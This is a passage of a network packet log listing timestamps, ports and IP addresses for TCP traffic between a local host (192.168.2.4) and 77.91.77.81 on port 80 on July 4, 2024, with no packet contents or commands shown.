Jul 4, 2024 20:34:24.875427961 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.875432014 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.875459909 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.905124903 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.905134916 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.905144930 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.905174017 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.905184984 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.905195951 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.905203104 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.905205011 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.905215979 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.905240059 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.905257940 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.908968925 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.908979893 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.908991098 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.909001112 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.909010887 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.909020901 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.909038067 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.909058094 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.909101009 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.922293901 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.922347069 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.922354937 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.922357082 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.922379017 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.922389030 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.922393084 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.922430038 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.922457933 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.922477961 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.922488928 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.922518015 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.922523022 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.922529936 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.922539949 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.922542095 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.922550917 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.922564983 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.922590971 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.922604084 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.922636986 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.922699928 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.922710896 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.922744036 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.922770977 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.922780991 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.922797918 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.922806025 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.922806025 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.922816038 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.922826052 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.922835112 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.922837973 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.922847986 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.922859907 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.922878981 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.922887087 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.922914028 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.923260927 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.923294067 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.923305035 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.923330069 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.923345089 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.923356056 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.923382998 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.923386097 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.923393965 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.923418045 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.923450947 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.923470974 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.923482895 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.923492908 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.923502922 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.923510075 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.923513889 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.923528910 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.923554897 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.923724890 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.923737049 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.923747063 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.923770905 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.923789024 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.924511909 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.924523115 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.924534082 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.924554110 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.924567938 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.924595118 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.924608946 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.924619913 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.924628973 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.924631119 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.924642086 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.924658060 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.924684048 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.924730062 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.924741983 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.924751997 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.924762011 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.924767017 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.924772978 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.924782038 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.924782991 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.924793959 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.924804926 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.924813986 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.924815893 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.924830914 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.924860001 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.924860001 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.924871922 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.924889088 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.924896955 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.924900055 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.924923897 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.924947977 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.925076008 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.925086975 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.925098896 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.925116062 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.925139904 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.925272942 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.925288916 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.925301075 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.925312042 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.925316095 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.925323009 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.925343990 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.925352097 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.925353050 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.925380945 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.925389051 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.925399065 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.925410032 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.925426006 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.925437927 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.925443888 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.925487995 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.925514936 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.925514936 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.929253101 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.932884932 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.932897091 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.932912111 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.932939053 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.932945967 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.932959080 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.932960987 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.932971001 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.932982922 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.932987928 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.933012009 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.933056116 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.933083057 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.933094025 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.933104038 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.933114052 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.933123112 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.933126926 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.933136940 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.933144093 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.933146954 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.933167934 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.933178902 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.971777916 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.971797943 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.971810102 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.971820116 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.971831083 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.971841097 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.971853018 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.971893072 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.971910000 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.971920013 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.971930981 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.971947908 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.971957922 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.971967936 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.971978903 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.971983910 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.972007036 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.972019911 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.005222082 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.005235910 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.005247116 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.005291939 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.005347013 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.005492926 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.005505085 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.005516052 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.005527020 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.005539894 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.005578995 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.010154963 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.010164976 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.010175943 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.010214090 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.010221004 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.010231018 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.010236025 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.010242939 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.010253906 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.010260105 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.010263920 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.010286093 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.010312080 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.043804884 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.043818951 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.043828964 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.043869019 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.043879032 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.043879986 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.043891907 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.043904066 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.043910980 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.043915033 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.043926001 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.043951988 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.043963909 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.044114113 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.044123888 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.044138908 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.044167995 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.044189930 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.044209957 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.044220924 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.044230938 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.044250965 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.044259071 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.044270039 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.044272900 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.044313908 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.044342995 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.044353962 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.044363976 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.044379950 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.044383049 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.044392109 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.044401884 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.044430971 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.044778109 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.044826984 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.044851065 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.044861078 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.044871092 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.044881105 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.044895887 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.044895887 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.044907093 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.044917107 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.044918060 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.044948101 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.044959068 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.044980049 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.045032978 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.045041084 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.045052052 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.045078039 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.045094013 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.045109034 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.045119047 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.045129061 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.045140028 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.045151949 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.045172930 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.045217037 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.045228958 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.045238972 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.045249939 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.045268059 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.045279980 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.045290947 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.045301914 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.045319080 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.045329094 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.045332909 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.045340061 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.045350075 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.045357943 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.045365095 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.045376062 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.045386076 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.045392036 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.045397043 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.045412064 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.045428991 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.045481920 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.045492887 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.045502901 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.045514107 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.045521975 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.045523882 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.045535088 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.045541048 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.045563936 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.045604944 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.045631886 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.045643091 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.045653105 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.045664072 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.045672894 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.045675039 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.045682907 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.045695066 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.045706034 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.045706987 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.045716047 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.045718908 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.045751095 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.046061039 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.046077013 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.046087980 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.046097994 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.046108007 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.046109915 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.046143055 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.046154022 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.046180964 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.046192884 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.046204090 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.046220064 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.046231985 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.048801899 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.048811913 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.048823118 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.048840046 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.048849106 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.048851013 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.048861980 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.048872948 CEST	80	49744	77.91.77.81	192.168.2.4
